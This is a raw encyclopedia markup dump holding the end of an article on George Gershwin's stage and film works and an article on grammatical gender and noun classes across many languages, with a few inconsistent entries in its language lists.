*1930 - ''[[Girl Crazy]]'' (lyrics by Ira Gershwin)
*1931 - ''[[Of Thee I Sing]]'' (lyrics by Ira Gershwin) 
**Awarded the [[Pulitzer Prize for Drama]] for 1932 and was the first [[Musical theater|musical]] to win that award, although only Ira Gershwin and the [[book (musical theater)|bookwriters]] were awarded the Prize and not George Gershwin
**Revived in 1933 and 1952
*1933 - ''Pardon My English'' (lyrics by Ira Gershwin)
*1933 - ''Let 'Em Eat Cake'' (lyrics by Ira Gershwin)
*1935 - ''[[Porgy and Bess]]'' (lyrics by Ira Gershwin and [[DuBose Heyward]])
**Revived on Broadway in 1942, 1943, 1953, 1976 ([[Houston Grand Opera]] winner of the [[Tony Award]] for Most Innovative Revival of a Musical), and 1983 

'''Works featuring original Gershwin songs'''

*1916 - ''The Passing Show of 1916'' - &quot;Making of a Girl&quot; co-composed with [[Sigmund Romberg]], lyrics by Harold Atteridge
*1918 - ''Hitchy-Koo of 1918'' 
*1918 - ''Ladies First'' 
*1919 - ''Good Morning, Judge''
*1919 - ''The Lady in Red''
*1919 - ''The Capitol Revue''
*1920 - ''Dear Mabel''
*1920 - ''[[Ed Wynn]]'s Carnival''
*1920 - ''The Sweetheart Shop''
*1920 - ''Sinbad'' - &quot;Swanee&quot;
*1920 - ''Broadway Brevities of 1920''
*1920 - ''Piccadilly to Broadway''
*1921 - ''Blue Eyes''
*1921 - ''Selwyn's Snapshots of 1921''
*1921 - ''The Perfect Fool''
*1922 - ''The French Doll''
*1922 - ''For Goodness Sake''
*1922 - ''The Dancing Girl''
*1923 - ''Little Miss Bluebeard'' ([[play]])
*1923 - ''Nifties of 1923''
*1926 - ''Americana of 1926''
*1930 - ''9:15 Revue''
*1936 - ''The Show is On''
**Revived in 1937

'''Works interpolating Gershwin songs posthumously''':
*1953 - ''At Home With [[Ethel Waters]]'' - &quot;[[Lady Be Good]]&quot;
*1956 - ''[[Mr. Wonderful]]'' 
*1983 - ''My One And Only'' - an adaptation of the music from ''[[Funny Face]]''
*1986 - ''Uptown...It's Hot!'' - &quot;[[Lady Be Good]]&quot;
*1992 - ''[[Crazy For You]]'' - [[Musical theater|musical]] adapting George and Ira Gershwin [[Tin Pan Alley]] and Broadway songs
**Awarded the [[Tony Award for Best Musical]]
*1999 - ''The Gershwins' Fascinating Rhythm'' - [[revue]] with songs by George and Ira Gershwin
*2002 - ''[[Elaine Stritch]] at Liberty'' - ''But Not For Me''
*2002 - ''Back From Broadway'' - one-time concert featuring songs by George Gershwin

===[[Musical film]]s===
*1923 - ''The Sunshine Trail'' - theme song of same title (lyrics by Ira Gershwin)
*1931 - ''[[Delicious (film)|Delicious]]'' (lyrics by Ira Gershwin)
*1937 - ''[[Shall We Dance (film)|Shall We Dance]]'' (lyrics by Ira Gershwin)
*1937 - ''[[A Damsel in Distress (RKO)|A Damsel in Distress]]'' (lyrics by Ira Gershwin)
*1938 - ''[[Goldwyn Follies]]'' (lyrics by Ira Gershwin)
*1947 - ''[[The Shocking Miss Pilgrim]]'' ([[Kay Swift]] adapted a number of unpublished Gershwin melodies and Ira Gershwin wrote the lyrics.)

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Gershwin Prelude No 2 Brian E Young.ogg|title=Prelude No 2|description=from ''Three Preludes for Piano''|format=[[Ogg]]}} 
{{multi-listen end}}

==See also==
* [[List of notable brain tumor patients]]

==References==
* Hyland, William G.''George Gershwin : A New Biography'' Praeger Publishers ([[August 30]] [[2003]]) ISBN 0275981118 
* Mawer, Deborah (Editor). Cross, Jonathan (Series Editor). ''The Cambridge Companion to Ravel (Cambridge Companions to Music)'' Cambridge University Press ([[August 24]] [[2000]]) ISBN 0521648564

==External links==
* [http://www.carolinaclassical.com/gershwin/index.html George Gershwin: American Genius]
* [http://www.gershwin.com Official Site]
* http://www.classical.net/music/comp.lst/gershwin.html
* [http://www.anecdotage.com/browse.php?category=people&amp;who=Gershwin Anecdotage: Gershwin] Gershwin Anecdotes (with sources noted)
* [http://www.gershwinfan.com GershwinFan.com - The Gershwin Educational Fanpage]
* [http://www.ibdb.com/person.asp?id=5813 George Gershwin] at the [[Internet Broadway Database]]

{{Porgy}}

[[Category:1898 births|Gershwin, George]]
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[[Category:American composers|Gershwin, George]]
[[Category:High school dropouts|Gershwin, George]]
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[[Category:Jewish classical musicians|Gershwin, George]]
[[Category:Jewish composers and songwriters|Gershwin, George]]
[[Category:Modernism|Gershwin, George]]
[[Category:Musical theatre composers|Gershwin, George]]
[[Category:Opera composers|Gershwin, George]]
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[[ar:جورج غيرشوين]]
[[da:George Gershwin]]
[[de:George Gershwin]]
[[es:George Gershwin]]
[[fr:George Gershwin]]
[[hr:George Gershwin]]
[[it:George Gershwin]]
[[he:ג'ורג' גרשווין]]
[[nl:George Gershwin]]
[[ja:ジョージ・ガーシュウィン]]
[[no:George Gershwin]]
[[pl:George Gershwin]]
[[pt:George Gershwin]]
[[ro:George Gershwin]]
[[simple:George Gershwin]]
[[fi:George Gershwin]]
[[sv:George Gershwin]]
[[uk:Гершвін Джордж]]
[[zh:乔治·格什温]]</text>
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    <title>Grimms Law</title>
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  <page>
    <title>Grammatical gender</title>
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      <text xml:space="preserve">In linguistics, '''noun classes''', also called '''grammatical [[gender]]''' is a type of [[inflection]]. A language is said to have noun classes when [[nouns]] are divided into groups according to characteristics which the concepts they represent are conventionally said to have. This division can manifest itself in two ways: through [[Morphology (linguistics)|morphological]] characteristics of the nouns themselves, and through morphological changes in other [[parts of speech]] that refer to nouns ([[Agreement (linguistics)|agreement]]).

== Types of noun classes ==

Most Indo-European languages distinguish feminine, masculine and sometimes neuter noun classes.  But this system of classification is not universal.  The [[Algonquian languages]], for example, classify nouns into ''animate'' and ''inanimate'' classes.  In other languages, both masculine and feminine nouns are considered to be part of a broader noun class of ''person'', either generally, or only in the plural, as in the [[North Caucasian languages]] and some [[Dravidian languages]]. Other languages, such as the [[Alamblak language]], classify objects based on their shape: oblong objects and animals are named using masculine nouns, and round ones using feminine nouns. A more or less discernible [[Correlation between object shape and noun gender|correlation between the noun gender and the shape of the respective object]] is also found in some languages even in the [[Indo-European languages|Indo-European]] family.

Not all languages have noun classes.  Modern [[English language|English]], for example, does not as is discussed in greater detail in the section on gender-based classification.  On the other hand, [[Niger-Congo languages]] can have ten or more noun classes. In [[Swahili]], for instance, nouns that begin with ''m-'' in the singular and ''wa-'' in the plural denote persons, and nouns that begin with ''m-'' in the singular but ''mi-'' in the plural denote plants. In the sentence below, the [[Marker (linguistics)|class marker]] ''ki-'' (marking singular nouns in class number 7) shows up on both the [[adjective]] (''-kubwa'') and the [[verb]] (''-anguka''), to express their relation to the class 7 noun ''kitabu'' 'book': 

:'''ki'''tabu '''ki'''kubwa '''ki'''naanguka &lt;br&gt;
(cl.7-book cl.7-big cl.7-&lt;small&gt;PRESENT&lt;/small&gt;-fall) &lt;br&gt;
:'The big book falls.'

Common criteria for defining noun classes include:

* animate vs. inanimate (as with [[Ojibwe language|Ojibwe]])
* rational vs. non-rational (as with [[Tamil language|Tamil]])
* human vs. non-human
* male vs. other
* male human vs. other
* masculine vs. feminine (as with [[French language|French]] and other [[Romance languages]])
* masculine vs. feminine vs. neuter (as with [[Latin]], [[Romanian language|Romanian]], [[German language|German]], or most [[Slavic languages]])
* strong vs. weak
* augmentative vs. diminutive

Some languages, such as [[japanese language|Japanese]], [[Chinese language|Chinese]] and the [[Tai languages]], have elaborate systems of [[measure word]]s which classify nouns into types based on shape and function, but are only used with counting [[modifiers]].  Because the classes of nouns created by these measure words are not generally distinguished in other contexts, many if not most linguists take the view that they do not create noun classes.

== Manifestations of noun classes ==

=== Agreement ===

The most common way in which noun classes are manifested in a language is through gender agreement.  To understand gender agreement, consider the sentences &quot;The man is tall&quot; and &quot;The woman is tall&quot;. In [[English language|English]], the only word that differs between them is the noun &quot;man/woman&quot;, which has a direct semantic association with sexual identity. In Spanish, however, one says &quot;''El hombre es alto''&quot; and &quot;''La mujer es alta''&quot;, respectively. Not only do the words for &quot;man&quot; and &quot;woman&quot; change, (''hombre'' vs. ''mujer''), but so do the article (''el'', ''la'') and the adjective (''alto'', ''alta''). When a noun belongs to a certain class, other parts of speech that refer to that noun must be inflected to be in the same class. This is similar to number agreement, whereby [[parts of speech]] that refer to a noun are inflected to agree with the [[grammatical number]] of that noun. 

Agreement in relation to noun classes usually affects [[modifiers]] (such as [[adjectives]]), [[pronouns]], and sometimes [[verbs]].

=== Morphological marking on nouns ===

One way in which noun classes may manifest themselves is through [[Morphology (linguistics)|morphological]] markings on nouns.  For example, in [[Spanish language|Spanish]], most nouns that end in ''-o'' are masculine and most nouns that end in ''-a'' are feminine. Thus, ''niño'' means “boy”, and ''niña'' means “girl”. This allows new nouns with a similar meaning to be readily created in a different class, by analogy: given the noun ''empresario'' (businessman), it was straightforward to make the new noun ''empresaria'' for “businesswoman”, when women reached the work market. This kind of class shift can also have more subtle uses, such as making a collective noun like ''fruta'' (group of fruits) from a singular noun like ''fruto'' (fruit).

Not all languages which classify nouns exhibit these markings.  In [[german language|German]], for example, ''most'' nouns give no clue as to their gender other than the forms of the article, determiner, and adjectives they must use.  Conversely, the [[correlation]] between grammatical gender and noun [[Morphology (linguistics)|morphology]] is usually not perfect and may also have exceptions. Although in Spanish the suffix ''-o'' is characteristic of the masculine gender and the suffix ''-a'' is typical of the feminine, ''problema'' (problem) is masculine, and ''radio'' (radio station) is feminine.

=== Other manifestations ===

Languages may also evidence noun classes in other ways.  [[Welsh language|Welsh]] provides a good example.  On the whole, gender marking has been lost in Welsh, both on the noun, and, often, on the adjective.  However, it has one unusual feature, that of [[consonant mutation|initial mutation]], where the first consonant changes to another in certain places.  In Welsh, gender can cause mutation, especially the [[soft mutation]].  For instance, the word ''merch'' means girl or daughter.  However 'the girl' is ''y ferch''.  This only occurs with feminine nouns, masculine nouns remain unchanged after the definite article (for example ''mab'' &amp;mdash; 'son', ''y mab'' &amp;mdash; 'the son'). Gender also affects following adjectives in a similar way, for instance 'the large girl' is ''y ferch fawr'', but 'the large son' is ''y mab mawr''.    

== Natural gender and grammatical gender ==

The use of gender-based classification of nouns (as is common in [[Indo-European languages|Indo-European]] and [[Semitic languages|Semitic]]) languages can sometimes be confusing, because the mere fact that a language distinguishes between men and women in some way does not mean it uses gender to grammatically classify nouns.  All languages represent ''[[natural gender]]'' - the [[sex|biological distinction]] between men and women - in some way.  These distinctions can exist at various levels.  e.g., ''male'' and ''female'', ''man'' and ''woman'', ''uncle'' and ''aunt'' Even [[Finnish language|Finnish]], which never had any grammatical gender and has only one third person singular [[pronoun]] ''hän'' (which means both &quot;he&quot; and &quot;she&quot;), uses different nouns for &quot;man&quot; and &quot;woman&quot;.  Similarly, languages may also differentiate between people of different biological or social gender, , or use different noun endings to distinguish between [[Biology|biologically]] [[male]] and biologically [[female]] individuals.  

This does not mean they  have genders in the grammatical sense.  Languages which classify nouns by grammatical gender distinguish themselves from languages which simply recognize [[natural gender]] principally through the existence of an extra system of gender agreement. In addition, they may also lack perfect correlation between grammatical gender and natural gender. These principles also apply to the variety of gender-describing common names some tribal languages have for [[intersexual]] or [[transgender]] individuals, which do not necessarily reflect grammatical gender or form a noun class.

=== Gender agreement and marking of natural gender ===

Languages that have no grammatical gender can have quite pervasive lexical marking of natural gender.  This should '''not''' be confused with grammatical gender. A notable example is the [[Esperanto]] suffix ''-in'', which can be used to change, for example ''patro'', &quot;father&quot; into ''patrino'', &quot;mother.&quot; This particular suffix is extremely productive (there is ''no'' atomic term for &quot;mother&quot; in Esperanto), leading some people to the erroneous assumption that it is a grammatical rather than a lexical gender marker.

Similarly, personal [[pronoun|pronouns]] often have different forms based on the natural gender of the reference; this is also not the same concept as grammatical gender.  Gendered pronouns and their corresponding inflections vary considerably across languages: there are languages that have different pronouns and inflections in the third person only to differentiate between humans and inanimate objects, like [[Hungarian language|Hungarian]] and [[Finnish language|Finnish]]. Even this distinction is commonly waived in spoken Finnish.  Modern Japanese has particular distinction of verbs between animate and inanimate in [[existential sentence|existential sentences]]; ''aru'' is for inanimate, ''iru'' is for animate. In negative sentences, ''nai'' (adjective) and ''inai'' is used respectively.

The distinction between marking of natural gender and genuine grammatical gender can be illustrated with reference to changes from [[Old English]] to modern English.  Curzan illustrates gender agreement in [[Old English]] with a “highly contrived” example:
: ''Seo brade lind wæs tilu and ic hire lufod.''
: (Literal translation:) That broad shield was good and I loved her.
The noun ''lind'' (shield) is grammatically feminine, which forces the pronoun ''seo'' (the, that) and the adjectives ''brade'' (broad) and ''tilu'' (good) to appear in their feminine forms, as well as the  pronoun ''hire'' (her), referring back to ''lind'', which adopts the grammatical gender of the referent. 

By comparison, in Modern [[English language|English]] the sentence would be:
: ''That broad shield was good and I loved it.''

Here, the ''shield'' is understood as a sexless object, and therefore designated by the neuter pronoun ''it''. Old English had three genders, masculine, feminine and neuter, but gender inflections (as well as number inflections) were greatly simplified, and then merged with one another. The only trace of grammatical gender left in modern [[English language|English]] are some pronouns, such as ''he'', ''she'', ''it'', which tend to represent [[natural gender]].  The forms of modifiers used with the nouns, and of verbs, do not change according to gender in modern English: the word '''man''' is naturally masculine, and the word '''girl''' naturally feminine, but the form of the adjective ''tall'' used with both is still '''tall'''.  From a linguistic perspective, therefore, English and other similar languages lack grammatical gender.

=== The role of convention ===

A second characteristic that distinguishes grammatical gender from natural gender is that it is largely a matter of [[convention]].  This is very clear when one considers the application of grammatical gender to objects - there is nothing intrinsic in a table that makes it masculine (as in the [[German language|German]] word &quot;Tisch&quot; is) or neuter (as the [[Norwegian language|Norwegian]] word &quot;bord&quot; is).  However, grammatical gender is equally a matter of [[convention]] even when it concerns human beings, as the overlap between grammatical gender and natural gender is not perfect.  Persons who are biologically male or female may be assigned a different grammatical gender in some contexts.  The most-often cited example of this is the [[German language|German]] word ''Mädchen'', which means &quot;girl&quot;, but grammatically has neuter gender, not feminine.  Similarly, the Spanish noun ''miembro'' (member) is always masculine, even if it refers to a woman, but ''persona'' (person) is always feminine, even when it refers to a man.

=== Animals ===

The relationship between natural gender and grammatical gender for animals is often different from the relationship for human beings. In Spanish, a cheetah is always ''un guepardo'' (masculine) and a zebra is always ''una cebra'' (feminine), regardless of their biological sex. If it becomes necessary to specify the sex of the animal, an adjective is added, as in ''un guepardo hembra'' (a female cheetah). Individualized names for the male and the female of a species are more frequent when they refer to common pets or farm animals. E.g., English ''horse'' and ''mare'', French ''chat'' (male cat) and ''chatte'' (female cat).

=== Personal names ===

Personal [[names]] often have characteristic culture-specific forms that identify the gender of the bearer. For example, in an English-speaking culture, ''John'' (masculine) and ''Joan'' or ''Jane'' (feminine) are gendered variants on the [[Hebrew language|Hebrew]] name of [[John the Evangelist]]. Again, this is natural gender, and not necessarily grammatical gender.

For [[Russian language|Russian]] gender-related tradition of personal naming, see [[Names in Russian Empire, Soviet Union and CIS countries]].


== Noun classes in specific linguistic families ==

&lt;!-- language families sorted alphabetically --&gt;

=== [[Algonquian languages]] ===

The [[Ojibwe language]] and other members of the [[Algonquian languages]] distinguish between animate and inanimate classes. Some sources argue that the distinction is between things which are powerful and things which are not. All living things, as well as sacred things and things connected to the Earth are considered powerful and belong to the &quot;animate&quot; class. Still, the assignment is somewhat arbitrary, as &quot;raspberry&quot; is animate, but &quot;strawberry&quot; is inanimate. 

=== [[Athabaskan languages]] ===

In [[Navajo language|Navajo]] ([[Southern Athabaskan]]) nouns are classified according to their animacy, shape, and consistency. [[Morphology (linguistics)|Morphologically]], however, the distinctions are not expressed on the nouns themselves, but on the verbs of which the nouns are the subject or direct object. For example, in the sentence ''Shi’éé’ tsásk’eh bikáa’gi dah siłtsooz'' &quot;My shirt is lying on the bed&quot;, the verb ''siłtsooz'' &quot;lies&quot; is used because the subject ''shi’éé’'' &quot;my shirt&quot; is a flat, flexible object. In the sentence ''Siziiz tsásk’eh bikáa’gi dah silá'' &quot;My belt is lying on the bed&quot;, the verb ''silá'' &quot;lies&quot; is used because the subject ''siziiz'' &quot;my belt&quot; is a slender, flexible object. See [[Navajo language#Classificatory Verbs]] for more discussion.

[[Koyukon]] ([[Northern Athabaskan]]) has a more intricate system of classification. Like Navajo, it has classificatory verb stems that classify nouns according to animacy, shape, and consistency. However, in addition these verb stems, Koyukon verbs have what are called ''gender prefixes'' that further classify nouns. That is, Koyukon has two different systems that classify nouns: '''(a)''' a classificatory verb system and '''(b)''' a gender system. To illustrate, the verb stem ''-tonh'' is used for enclosed objects. When ''-tonh'' is combined with different gender prefixes, it can result in ''daaltonh'' which refers to objects enclosed in boxes or ''etltonh'' which refers to objects enclosed in bags.

=== [[Australian Aboriginal languages]] ===

The [[Dyirbal language]] is well known for its system of four noun classes, which tend to be divided along the following semantic lines:

* I &amp;mdash; animate objects, men
* II &amp;mdash; women, [[water]], [[fire]], [[violence]]
* III &amp;mdash; edible [[fruit]] and [[vegetable]]s
* IV &amp;mdash; miscellaneous (includes things not classifiable in the first three)

The class usually labeled &quot;feminine&quot;, for instance, includes the word for fire and nouns relating to fire, as well as all dangerous creatures and phenomena. This inspired the title of the [[George Lakoff]] book ''Women, Fire and Dangerous Things'' (ISBN 0226468046).

The [[Ngangikurrunggurr language]] has noun classes reserved for canines, and hunting weapons, and the [[Anindilyakwa language]] has a noun class for things that reflect light. The [[Diyari language]] distinguishes only between female and other objects. Perhaps the most noun classes in any Australian language are found in [[Yanyuwa language|Yanyuwa]], which has 16 noun classes.

=== [[Caucasian languages]] ===

Of the [[Caucasian languages]], some members of the [[Northwest Caucasian languages|Northwest Caucasian]] family, and almost all of the [[Northeast Caucasian languages]], manifest noun class. In the Northeast Caucasian family, only [[Lezgi language|Lezgi]], [[Udi language|Udi]], and [[Aghul language|Aghul]] do not have noun classes. Some languages have only two classes, while the [[Bats language]] has eight. The most widespread system, however, has four classes: male, female, animate beings and certain objects, and finally a class for the remaining nouns. The [[Andi language]] has a noun class reserved for insects.

Among Northwest Caucasian languages, [[Abkhaz language|Abkhaz]] shows a human male/human female/non-human distinction. [[Ubykh language|Ubykh]] shows some inflections along the same lines, but only in some instances, and in some of these instances inflection for noun class is not even obligatory.

In all Caucasian languages that manifest class, it is not marked on the noun itself but on the dependent verbs, adjectives, pronouns and prepositions.

An entire [http://www.beautyinchaos.com/sex website] has been devoted to exploring the possibilities of inanimate genders in Caucasian languages.

=== [[Indo-European languages]] ===

In Indo-European languages, genders typically include '''feminine''', '''masculine''' and '''neuter'''. [[Latin]] has these three, but in many of [[Romance languages|its modern descendants]], such as [[French language|French]] and [[Spanish language|Spanish]], the neuter gender has all but disappeared, though a few words, especially pronouns with no clear gender such as &quot;cela&quot; in French, have been assigned by some grammarians to a neuter gender.  In Spanish, there exists a &quot;neuter singular&quot; gender whose only nouns are adjectives used as abstract nouns. (''eg'' &quot;lo único&quot; = &quot;the only thing&quot;; &quot;lo mismo&quot; = &quot;the same thing&quot;). [[Romanian language|Romanian]] has preserved all three genders from [[Latin]], but the neuter gender is a combination of the other two, in the sense that neuter nouns in the singular behave like masculine nouns, while in the plural they behave like feminine nouns; as a consequence, adjectives, pronouns, and pronominal adjectives only have two forms, both in the singular and in the plural.

In other languages, feminine and masculine have merged into a '''common''' gender with a neuter gender, for example, in [[Danish language|Danish]].  [[English language|English]] generally exhibits gender only in third-person singular pronouns (as with '''he''', '''she''', and '''it'''), with the masculine and feminine genders used only for persons or higher animals, sometimes objects in colloquial speech as in 'Isn't she a beauty?'.  Other languages may group genders differently: [[Slavic languages]] further divide the masculine gender into '''animate''' and '''inanimate''' groups (the extent varies between individual languages, and some of them also apply the distinction in the feminine plural); The Spanish constructions for direct objects are different for humans and for objects, although its Latin-influenced grammar tradition doesn't usually count this as a noun class distinction; the [[Nostratic language]], a theoretical language that gave rise to the Indo-European languages and other language families, is believed by its proponents to have had '''human''', '''animal''', and '''object''' as grammatical genders.

In common nouns, grammatical gender is usually only peripherally related to sex. For example, in Spanish, the word '''hijo''' (son) is masculine and '''hija''' (daughter) is feminine, as one might expect.  This is called '''[[natural gender]]''', or sometimes '''logical gender'''.  Other times, there are elaborate (and mostly incomplete) rules to define the gender of a word.  For example, in [[German language|German]], nouns ending in '''-ung''' (corresponding to '''-ing''' in English) are feminine, and car brand names are masculine.  Words with the '''-lein''' and '''-chen''' ending (meaning little, young) are neuter, thus the grammatical genders of '''Mädchen''' (girl) and '''Fräulein''' (young woman) are neuter. In some local dialects of German, all nouns for female persons have been shifted to the neuter gender, but the female gender remains for some words denoting objects. All this is language-specific. In Latin, the word ''Sol'' (Sun) was masculine and the word ''Luna'' (Moon) was feminine (as in French, Spanish, Italian), but in German (and Germanic languages in general), the opposite occurs. The learner of a language thus must regard the gender as part of the noun, and memorize accordingly to use the language correctly.  A frequent recommendation is to memorize the definite article and the noun as a unit.

In Indo-European languages that assign genders to all nouns, the genders often correspond roughly to [[declension]]s that govern the way the nouns are inflected.  In Latin, for example, almost all of the ''-a'' stem nouns of the first declension are feminine; the main exceptions are a handful of nouns that identify typically male roles like ''nauta'', &quot;sailor,&quot; ''agricola'', &quot;farmer,&quot; and ''poeta'', &quot;poet&quot;. Likewise, almost all of the ''-o'' stem nouns of the second declension that end in ''-us'' in the [[nominative]] [[noun case|case]] are masculine; those ending in ''-um'' are neuter.  Names of places and trees are feminine though, like ''ulmus'', &quot;elm,&quot; or ''Ægyptus'', &quot;Egypt.&quot;  Most other Indo-European languages that have retained declensional systems have similar rules.

=== [[Niger-Congo languages]] ===

==== [[Bantu languages]] ====

According to [[Carl Meinhof]], the [[Bantu languages]] have a total of 22 [[noun class|noun classes]]. While no single language is known to express all of them, all of them have at least 10 noun classes. For example, by Meinhof's numbering, [[Swahili language#Noun classes|Swahili]] has 15 classes, and [[Sesotho language#Noun prefix system|Sesotho]] has 18. However, Meinhof's numbering system counts singular and plural numbers of the same noun as belonging to separate classes (see [[Sesotho language]] for examples). This is inconsistent with the way other languages are traditionally considered, where number is orthogonal to gender (a Meinhof-style analysis would give [[Ancient Greek]] 9 genders!). If one follows broader linguistic tradition and counts singular and plural as belonging to the same class, then Swahili has 8 or 9 noun classes and Sesotho has 11.

Often, certain noun classes are reserved for humans. The [[Fula language]] has a noun class reserved for liquids.  According to [[Steven Pinker]], the [[Kivunjo language]] has 16 genders including classes for precise locations and for general locales, classes for clusters or pairs of objects and classes for the objects that come in pairs or clusters, and classes for abstract qualities.

==== [[Zande language|Zande]] ====

The Zande language distinguishes four noun classes:

&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;&lt;th&gt;Criterion&lt;/th&gt;&lt;th&gt;Example&lt;/th&gt;&lt;th&gt;Translation&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;human male&lt;/td&gt;&lt;td&gt;kumba&lt;/td&gt;&lt;td&gt;man&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;human female&lt;/td&gt;&lt;td&gt;dia&lt;/td&gt;&lt;td&gt;wife&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;animate&lt;/td&gt;&lt;td&gt;nya&lt;/td&gt;&lt;td&gt;beast&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;other&lt;/td&gt;&lt;td&gt;bambu&lt;/td&gt;&lt;td&gt;house&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

There are about 80 inanimate nouns which are in the animate class, including nouns denoting heavenly objects (moon, rainbow), metal objects (hammer, ring), edible plants (sweet potato, pea), and non-metallic objects (whistle, ball). Many of the exceptions have a round shape, and some can be explained by the role they play in Zande mythology.

==== Other ====

The [[Alamblak language]], a [[Sepik Hill]] language spoken in [[Papua New Guinea]], has a &quot;masculine&quot; noun class, which includes males, as well as things which are tall or long and slender, or narrow such as fish, crocodile, long snakes, arrows, spears and tall slender trees, and a &quot;feminine&quot; noun class, which includes females, as well as things which are short, squat or wide, such as turtles, frogs, houses, fighting shields and trees that are typically more round and squat than others.

== Noun classes in specific languages ==

{{col-begin}}
{{col-2}}
=== List of languages without grammatical genders/noun classes ===
{{dynamic list}}
*[[Afrikaans language|Afrikaans]]
*[[Armenian language|Armenian]]
*[[Basque language|Basque]]
*[[Bengali language|Bengali]]
*[[Bislama]]
*[[Bugis language|Bugis]]
*[[Burmese language|Burmese]]
*[[Cebuano language|Cebuano]]
*[[Central Yup'ik language|Central Yup'ik]]
*[[Chinese language|Chinese]]
*[[Chol language|Chol]]
*[[English language|English]] English has a vestigial natural gender system (on pronouns) but no grammatical gender.
*[[Estonian language|Estonian]]
*[[Esperanto language|Esperanto]] Esperanto has, however, gender-marked third-person pronouns and a feminine marker suffix.
*[[Finnish language|Finnish]]
*[[Georgian language|Georgian]]
*[[Guaraní language|Guaraní]]
*[[Hawaiian language|Hawaiian]]
*[[Hungarian language|Hungarian]]
*[[Ido language|Ido]] Ido has the masculine infix '''-ul''' and the feminine infix '''-in''' for animate beings. Both are optional and must be used only if it is necessary to avoid the ambiguity. Thus, '''kato''': ''a cat'', '''katulo''': ''a tom-cat'', '''katino''': ''a she-cat''. Besides, there are third person singular and plural pronouns for all three genders: '''masculine''', '''feminine''', and '''neuter''', in addition to ''gender-free'' pronouns.
*[[Ilocano language|Ilocano]]
*[[Indonesian language|Indonesian]]
*[[Interlingua language|Interlingua]]
*[[Japanese language|Japanese]]
*[[Kannada language|Kannada]]
*[[Khmer language|Khmer]]
*[[Korean language|Korean]]
*[[Lao language|Lao]]
*[[Lojban language|Lojban]]
*[[Malagasy language|Malagasy]]
*[[Malay language|Malay]]
*[[Malayalam language|Malayalam]]
*[[Makasar language|Makasar]]
*[[Mandar language|Mandar]]
*[[Persian language|Persian]]
*[[Nahuatl language|Nahuatl]]
*[[Pirahã language|Pirahã]]
*[[Quechua language|Quechua]]
*[[Quenya]]
*[[Sindarin]]
*[[Sinhala language|Sinhala]]
*[[Sami languages]]
*[[Tagalog language|Tagalog]]
&lt;!--*[[Tamil language|Tamil]] Explain in talk page discussion if you want to uncomment--&gt;
*[[Telugu language|Telugu]]
*[[Tlingit language|Tlingit]]
*[[Thai language|Thai]]
*[[Tok Pisin]]
*[[Toki Pona language|Toki Pona]]
*[[Tulu language|Tulu]]
*[[Turkish language|Turkish]]
*[[Tzotzil language|Tzotzil]]
*[[Tzeltal language|Tzeltal]]
*[[Vietnamese language|Vietnamese]]
*[[Yoruba language|Yoruba]]
{{col-2}}
=== List of languages with grammatical genders/noun classes ===
{{dynamic list}}
*[[Albanian language|Albanian]]
*[[Egyptian language|Ancient Egyptian]]
*[[Ancient Greek language|Ancient Greek]]
*[[Akkadian language|Akkadian]]
*[[Arabic language|Arabic]]
*[[Aramaic language|Aramaic]]
*[[Bosnian language|Bosnian]]
*[[Bulgarian language|Bulgarian]]
*[[Catalan language|Catalan]]
*[[Coptic language|Coptic]]
*[[Cornish language|Cornish]]
*[[Croatian language|Croatian]]
*[[Czech language|Czech]]
*[[Danish language|Danish]] 
*[[Dari language|Dari-Persian]]
*[[Dutch language|Dutch]]
*[[Faroese language|Faroese]]
*[[French language|French]]
*[[German language|German]]
*[[Greek language|Greek]]
*[[Gujarati language|Gujarati]]
*[[Hebrew language|Hebrew]]
*[[Hindi language|Hindi]]
*[[Icelandic language|Icelandic]]
*[[Irish language|Irish]]
*[[Italian language|Italian]]
*[[Klingon language|Klingon]]
*[[Latin]]
*[[Latvian language|Latvian]]
*[[Lithuanian language|Lithuanian]]
*[[Marathi language|Marathi]]
*[[Manx Gaelic language|Manx Gaelic]]
*[[Norwegian language|Norwegian]]
*[[Occitan language|Occitan]]
*[[Old English language|Old English]]
*[[Old Prussian language|Old Prussian]]
*[[Pashto language|Pashto]]
*[[Polish language|Polish]]
*[[Portuguese language|Portuguese]]
*[[Punjabi language|Punjabi]]
*[[Romanian language|Romanian]]
*[[Russian language|Russian]]
*[[Sanskrit language|Sanskrit]]
*[[Scottish Gaelic language|Scottish Gaelic]]
*[[Serbian language|Serbian]]
*[[Slovak language|Slovak]]
*[[Slovenian language|Slovenian]]
*[[Sorbian language|Sorbian]]
*[[Spanish language|Spanish]]
*[[Sumerian language|Sumerian]]
*[[Swahili language|Swahili]]
*[[Swedish language|Swedish]]
*[[Berber languages|Tamazight (Berber)]]
*[[Tajik language|Tajiki Persian]]
*[[Ukrainian language|Ukrainian]]
*[[Urdu language|Urdu]]
*[[Welsh language|Welsh]]
*[[Yiddish language|Yiddish]]
{{col-end}}
{{col-begin}}
{{col-2}}

===Two genders/noun classes===
====Masculine and feminine====
*[[Akkadian language|Akkadian]]
*[[Egyptian language|Ancient Egyptian]]
*[[Arabic language|Arabic]]
*[[Aramaic language|Aramaic]]
*[[Bengali language|Bengali]]
*[[Catalan language|Catalan]]
*[[Coptic language|Coptic]]
*[[French language|French]]
*[[English language|English]] (one common gender: '''the''')
*[[Hebrew language|Hebrew]]
*[[Hindi language|Hindi]]
*[[Irish language|Irish]]
*[[Italian language|Italian]]
*[[Latvian language|Latvian]]
*[[Lithuanian language|Lithuanian]]
*[[Occitan language|Occitan]]
*[[Punjabi language|Punjabi]]
*[[Portuguese language|Portuguese]]
*[[Scottish Gaelic language|Scottish Gaelic]]
*[[Spanish language|Spanish]]
*[[Berber languages|Tamazight (Berber)]]
*[[Urdu language|Urdu]]
*[[Welsh language|Welsh]]

====Common and neuter====
*[[Danish language|Danish]]
*[[Hittite language|Hittite]]
*[[Low German]]
*[[Norwegian language|Norwegian]] (''Riksmål'')
*[[Swedish language|Swedish]]

====Animate and inanimate====
*[[Sumerian language|Sumerian]]
*Many Native American languages, such as [[Navajo language|Navajo]]
*Polish and Russian
{{col-2}}
===Three grammatical genders/noun classes===
====Masculine, feminine, and neuter====
*[[Albanian language|Albanian]] (''neuter'' has almost disappeared)
*[[Ancient Greek language|Ancient Greek]]
*[[Belarusian]]
